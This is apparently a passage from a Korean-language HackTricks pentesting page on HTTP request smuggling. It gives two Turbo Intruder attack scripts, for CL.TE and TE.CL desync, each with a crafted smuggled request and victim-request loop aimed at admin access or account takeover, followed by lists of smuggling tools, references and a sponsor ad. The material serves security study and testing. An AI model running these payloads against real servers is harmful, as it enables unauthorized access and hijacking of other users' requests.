{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}
- HTTP/2 다운그레이드에서의 요청 스머글링
{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}
터보 침입자 스크립트
CL.TE
From https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
From: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
도구
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: 이 도구는 이상한 요청 스머글링 불일치를 찾는 데 유용한 문법 기반 HTTP 퍼저입니다.
참고자료
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요
실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요. 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.